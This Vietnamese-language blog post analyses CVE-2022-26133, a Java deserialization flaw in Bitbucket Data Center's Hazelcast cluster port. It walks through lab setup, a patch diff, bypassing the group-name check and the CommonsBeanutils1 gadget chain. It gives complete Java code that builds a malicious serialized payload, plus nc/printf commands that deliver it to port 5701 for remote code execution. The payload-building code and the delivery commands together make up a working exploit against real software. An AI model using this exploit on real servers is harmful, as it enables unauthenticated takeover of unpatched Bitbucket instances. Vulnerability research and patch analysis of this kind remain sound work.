Skip to main content

Command Palette

Search for a command to run...

[CVE-2022-26133] Phân tích lỗ hổng Java Deserialization trong Bitbucket

Updated
10 min read
[CVE-2022-26133] Phân tích lỗ hổng Java Deserialization trong Bitbucket

I. Giới thiệu về Bitbucket

1.1. Tổng quan về Bitbucket

  • Bitbucket là một dịch vụ quản lý mã nguồn dựa trên web được cung cấp bởi Atlassian. Công nghệ cho phép các nhà phát triển làm việc cùng nhau để theo dõi, quản lý và chia sẻ mã nguồn trong các dự án phần mềm

  • Bitbucket hỗ trợ các hệ thống quản lý mã nguồn phổ biến như Git và Mercurial. Chương trình cung cấp các tính năng như kiểm soát phiên bản, quản lý nhánh, theo dõi vấn đề và tích hợp liên kết với các công cụ phát triển khác.

1.2. Dịch vụ của Bitbucket

  • Bitbucket Cloud: Là phiên bản dựa trên đám mây của Bitbucket, cung cấp dịch vụ lưu trữ mã nguồn, quản lý dự án và CI/CD (Continuous Integration/Continuous Deployment) trực tiếp trên cloud.

  • Bitbucket Server: Là phiên bản Bitbucket có thể cài đặt trên các máy chủ tại chỗ (on-premises). Bitbucket Server thích hợp cho các tổ chức yêu cầu lưu trữ mã nguồn nội bộ, không dựa vào dịch vụ đám mây

  • Bitbucket Data Center: Là phiên bản dành cho các doanh nghiệp lớn, cần tính sẵn sàng cao và khả năng mở rộng. Bitbucket Data Center hỗ trợ clustering để đảm bảo dịch vụ không bị gián đoạn và quản lý các repository lớn với hiệu suất tốt.

II. Phân tích lỗ hổng

2.1. Tổng quan về lỗ hổng

  • Theo mô tả về lỗ hổng đã public, lỗ hổng Deserialization của Hazelcast nhúng trong Bitbucket Data Center, tương tự CVE-2016-10750 của phiên bản Hazelcast cũ nhưng ở lỗ hổng mới này thì chỉ ảnh hưởng đến Bitbucket

  • Bitbucket sử dụng thằng Hazelcast để lưu trữ dữ liệu vì nó là một nền tảng tính toán và lưu trữ dữ liệu trong bộ nhớ phân tán

2.2. Setup môi trường

  • Trong mô tả của lỗ hổng đã đề cập các version chứa lỗi và phiên bản nó được fix:

    • All 5.x versions >= 5.14.x

    • All 6.x versions

    • All 7.x versions < 7.6.14

    • All versions 7.7.x through 7.16.x

    • 7.17.x < 7.17.6

    • 7.18.x < 7.18.4

    • 7.19.x < 7.19.4

    • 7.20.0

  • Mình chọn version 7.18.3 và tải thêm version 7.18.4 để tìm sự khác biệt giữa hai phiên bản.

  • Để repoduce được thì mọi người nên tải file zip nằm trong Link này .

  • Ngoài ra, tải file .zip để có thể thực hiện debug nữa

  • Sau khi cài đặt file .zip về máy, cần cài đặt các môi trường để cài đặt cho Bitbucket bao gồm đó là:

    • Set JAVA_HOME và JRE_HOME, ở đây mình khuyên dùng jdk11

    • Cài đặt Git:

    • Cài đặt Postgresql Server:

  • Để thực hiện remote debug vào intellij ide thì thêm dòng sau vào biến JAVA_OPTS nằm trong file _start-webapp.bat ở thư mục \atlassian-bitbucket-7.18.3\bin

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

  • Sau khi hoàn tất các bước trên thì chúng ta sẽ chạy file start-bitbucket.bat . Sau đó truy cập vào localhost:7990 để setup web bitbucket

  • Mở intelij lên, add lib vào và thêm cấu hình cho remote debug

  • Để thực hiện debug với lib file .jar thì cần add lib vào Project Structure để đặt breakpoints

2.3. Phân tích lỗ hổng

  • Theo mô tả trên NVD, lỗ hổng xảy ra ở chức năng SharedSecretClusterAuthenticator của Bitbucket, nó nằm ở bitbucket-service-impl.jar.

  • Nó nằm ở bitbucket-service-impl/com/atlassian/stash/internal/cluster/SharedSecretClusterAuthenticator.class

  • Nên mình sẽ diff file jar của 2 phiên bản:

    • Dựa vào phần diff thì ta có thể thấy bên bitbucker phiên bản 7.18.4 có thêm đoạn check version từ ObjectDataInput lấy từ request.in() vào
  • Phân tích kỹ hơn ta sẽ phân tích luồng hoạt động của chức năng này bắt nguồn từ phần source sau:

    • Có thể thấy hàm runMutualChallengeResponse có nhận ObjectDataInput từ đầu vào là ClusterJoinRequest sau đó thì ObjectDataInput này sẽ được truyền vào hàm receiveObject()

→ Đây là source của Deserialization

  • Với phần sink là đoạn hàm receiveObject lại có readObject(). Vì vậy theo lý thuyết nếu ta kiểm soát được giá trị in thì có thể chèn vào 1 đối tượng nguy hiểm để deserialize -> RCE.

Khi đối tượng được deserialized bằng phương thức readObject(), Java khôi phục trạng thái của đối tượng từ dữ liệu nhị phân (byte stream)

  • Nhưng có thể thực hiện đoạn readObject() thì hàm cần thực hiện qua được câu lệnh điều kiện If:

  • Hàm verifyGroupName kiểm tra xem input đầu vào có trùng khớp với groupName của hệ thống không.

  • Với groupName được định nghĩa ở hàm khởi tạo như sau:

@Autowired
    public SharedSecretClusterAuthenticator(@Value("${hazelcast.group.name}") String groupName, @Value("${hazelcast.group.password}") String sharedSecret) {
        this.groupName = groupName;
        this.sharedSecret = sharedSecret;
    }
  • Có thể thấy GroupName là groupName của hazelcast. Vào HazelcastClusterInformation.class để xem cấu hình Hazelcast Cluster. Còn HazelcastCluster lấy config từ 1 file NetworkConfig

  • Lúc đầu tưởng địa chỉ là localhost để kết nối nhưng thật ra là địa chỉ nằm trong setting cluster

  • netcat đến port 5701 của Hazel thì mình thấy nó in ra tên groupName chính là tên của user chạy bitbucker

    • Lí do là vì hàm verifyGroupName có câu lệnh out.writeUTF(this.groupName) để in ra cửa sổ tên groupName

  • Như vậy là đã biết được tên của groupName, việc bypass câu lệnh if đầu tiên là rất đơn giản, chỉ cần truyền vào 1 giá trị là groupName là được. Vì vậy, ban đầu mình đã thực hiện tạo file tên là groupName.txt với giá trị là Hi để gửi tới server, tuy nhiên kết quả lại không vượt qua:

    • Hàm chạy đến hàm readUTF này đã bị lỗi và tạm dừng chương trình.
  • Do đó khi netcat lại thì mình đã thực hiện lưu vào file để xem có gì đặc biệt không:

    • Đằng trước tên groupName thì nó còn chứa 4 bytes cho độ dài groupName gồm : \\x00\\x00\\x00\\x02
  • Thực hiện lại với file này ở debug

    → thành công vượt qua verifyGroupName()

2.4. Xây dựng payload

  • Payload khai thác dựa vào CommonsBeanutils1 có Stackframe của chain như sau:

      PriorityQueue#readObject()
          PriorityQueue.heapify()
                  PriorityQueue.siftDownUsingComparator()
                      BeanComparator#compare()
                          PropertyUtils#getProperty
                              TemplatesImpl#getOutputProperties()
                                  |TemplatesImpl#newTransformer()
                                  |TemplatesImpl#getTransletInstance()
                                  |TemplatesImpl#defineTransletClasses()
                                  |TransletClassLoader#defineClass()
    

Đôi nét về CommonsBeanutils1 của Ysoserial là một dự án được tạo bởi frohoff, một người phát hiện ra lỗ hổng deserialization trên Java. Tên gọi được lấy từ Apache Commons Beanutils là một dự án khác thuộc bộ công cụ Apache Commons cung cấp một số phương thức thao tác trên các đối tượng lớp Java thông thường

  • Với chain này, cùng phân tích từ dưới lên trên bắt đầu với TransletClassLoader#defineClass(). Đoạn code nằm trong mô tả nằm trong com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

  • Ở đây chúng ta tìm hiểu về phương thức defineClass nhưng cùng tìm hiểu tại sao cách cách mà java bytecode được load.

Khi compile một chương trình java với cú pháp: javac abc.java thì lúc này file code java sẽ được compile ra file .class (ở dạng bytecode) sau đó sẽ sử dụng command java để chạy bytecode java abc.class file .class này có chứa các class và các interface

⇒ Javassist ra đời với mục đích giúp người lập trình thao tác với bytecode một cách dễ dàng hơn. Nhờ có javassist mà chúng ta có thể định nghĩa class mới trong runtime và sửa đổi file .class khi JVM tải nó. (chain tạo bởi Javassist)

  • Mục tiêu của phần cuối chain này là sẽ là tạo một class và chạy một class bằng cách truyền một mảng bytes từ bên ngoài

  • Như ảnh đã thể hiện, do class này không khai báo scope, scope sẽ là "default" ==> Outer class TemplatesImpl có thể truy cập inner class TransletClassLoader member hay cho phép các lớp trong cùng package có thể truy cập vào các thành viên của nhau.

  • Tiếp theo là TemplatesImpl#defineTransletClasses(), di chuyển xuống bên dưới class TemplatesImpl sẽ thấy class TransletClassLoader được gọi với phương thức defineClass()

  • Để gọi đến TemplatesImpl.defineTransletClasses() thì ta có thể tìm thấy một số method gọi đến trong TemplatesTmpl. Nhưng getTransletInstance là thứ ta cần chú ý:

    • Bên dưới có gọi đến newInstance() –> Nó sẽ match với cái defineClass() ta vừa phân tích ở trên. Từ đó có thể load được byte code và thực thi JavaCode.

      Bởi vì tạo class bằng ClassLoader#defineClass cần phải gọi newInstance() để tạo class thành công

    • Tuy nhiên ở đây cần 1 điều kiện là field _name phải khác null và _class bằng null mới có thể dẫn đến chõ newInstance() được, ta có thể dùng Reflect API để set value cho chúng

  • Điểm trigger sẽ nằm ở chỗ TemplatesImpl#newTransformer(). Nó sẽ tạo ra một object của TransformerImpl.

  • Sau khi chạy demo với chain này vài lần thì có các điều kiện như sau để match thành công:

    • Đầu tiên, như nói ở trên là _name khác null

    • Thứ hai là field _class bằng null

    • Thứ ba là field _bytecodes thành bytecode generate bởi javassist () (vì có chỗ check sau )

    • Thứ tư là _tfactory cần là TransformerFactoryImpl object

  • TemplatesImpl#getOutputProperties có thuộc tính public và gọi đến newTransformer()

    • Đọc cái phương thức getOutputProperties() ta có thể thực hiện RCE
  • Với PropertyUtils#getProperty, static method PropertyUtils.getProperty cho phép người dùng gọi getter method của class JavaBeans bất kỳ

  • BeanComparator#compare() Là một class trong commons-beanutils để so sánh liệu 2 JavaBeans có giống nhau, nó implements java.util.Comparator interface với method compare() gọi đến PropertyUtils.getProperty

      public int compare(T o1, T o2) {
          if (this.property == null) {
              return this.internalCompare(o1, o2);
          } else {
              try {
                  Object value1 = PropertyUtils.getProperty(o1, this.property);
                  Object value2 = PropertyUtils.getProperty(o2, this.property);
                  return this.internalCompare(value1, value2);
              } catch (IllegalAccessException var5) {
                  throw new RuntimeException("IllegalAccessException: " + var5.toString());
              } catch (InvocationTargetException var6) {
                  throw new RuntimeException("InvocationTargetException: " + var6.toString());
              } catch (NoSuchMethodException var7) {
                  throw new RuntimeException("NoSuchMethodException: " + var7.toString());
              }
          }
      }
    
  • Và như chain ở trên thì điểm trigger cái compare này nằm ở PriorityQueue.siftDownUsingComparator()

    • Ta thấy nó gọi method compare của object comparator 2 lần. Và lần 2 có vẻ khả thi hơn. Nếu ta control được tham số x và field comparator

    • comparator thì có thể được control bằng constructor của class PriorityQuene

    • Còn x có control được không thì ta cần phải trace ngược lên trên. Ctrl+F ta có thể thấy cosiftDownUsingComparator() có thể được gọi bằng method heapify():

java.util.PriorityQueue là class đã có sẵn trong java runtime, có thể sử dụng để gọi từ readObject() -> Object#compare

  • Method PriorityQuene.heapify():

    • Điều kiện là comparator khác null là nhảy vào được

    • Ngoài ra method này được gọi mà không có tham số, Đại khái nó sẽ loop qua cái array quene và thực thi method siftDownUsingComparator() với 2 tham số là i và queue[i]. Vậy mục tiêu của ta là phải control được các phần tử trong array này.

    • Ctrl+F source code ta có thể tìm thấy 1 public method là add() để add phần tử vào mảng queue:

      • Đây là hàm add phần tử vào mảng queue.
    • Điều quan trong là trong int i = (n >>> 1) - 1; phải ≥ 0 chỉ cần size là 2 trở lên là ok. Với size = 2 thì (size >>> 1) sẽ bằng 1. và i sẽ là 0. Và queue[0] sẽ là template chúng ta nhập vào chain

  • Và hàm heapify() chính là được gọi từ readObject() ra:

  • Cuối cùng viết payload cho chain vừa giải thích ở trên:

      private static void serializePayload() throws Exception {
              // ClassPool và CtClass để tạo một class độc hại
              ClassPool pool = ClassPool.getDefault();
              pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
              CtClass EvilClass = pool.makeClass("Evil");
    
              EvilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    
              String cmd = "Runtime.getRuntime().exec(\\"calc.exe\\");";
              CtConstructor constructor = EvilClass.makeClassInitializer();
              constructor.insertBefore(cmd);
              EvilClass.writeFile("./");
    
              byte[] bytes = EvilClass.toBytecode();
    
                      // Tạo template với các 4 điều kiện nêu bên trên
              TemplatesImpl template = new TemplatesImpl();
    
              // Sử dụng reflection để truy cập và thiết lập các trường của TemplatesImpl
              Class<?> temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
              Field _name = temp.getDeclaredField("_name");
              _name.setAccessible(true);
              _name.set(template, "11111");
    
              Field _class = temp.getDeclaredField("_class");
              _class.setAccessible(true);
              _class.set(template, null);
    
              Field _bytecodes = temp.getDeclaredField("_bytecodes");
              _bytecodes.setAccessible(true);
              _bytecodes.set(template, new byte[][]{bytes});
    
              Field _tfactory = temp.getDeclaredField("_tfactory");
              _tfactory.setAccessible(true);
              _tfactory.set(template, new TransformerFactoryImpl());
    
              BeanComparator comparator = new BeanComparator("lowestSetBit");
    
              PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
              queue.add(new BigInteger("1"));
              queue.add(new BigInteger("1"));
    
              //Thay đổi thuộc tính của BeanComparator
              Reflections.setFieldValue(comparator, "property", "outputProperties");
              //Truy cập và thay đổi cấu trúc nội bộ của hàng đợi PriorityQueue
              Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue"));
              queueArray[0] = template;
              queueArray[1] = template;
    
              // Serialize đối tượng queue vào file
              try (FileOutputStream fileOut = new FileOutputStream("queue.ser");
                   ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
                  out.writeObject(queue);
              }
          }
    

2.5. Kết quả

  • Lưu ý là đoạn đầu từ chain sẽ có 4 bytes cho số lượng bytes payload nên chúng ta để số lớn luôn

      nc 192.168.20.1 5701 > groupName.txt
    
      printf "\\xff\\xff\\xff\\x9c" | cat groupName.txt - queue.ser > finish_payload
    
      nc 192.168.20.1 5701 < finish_payload
    
  • Thành công RCE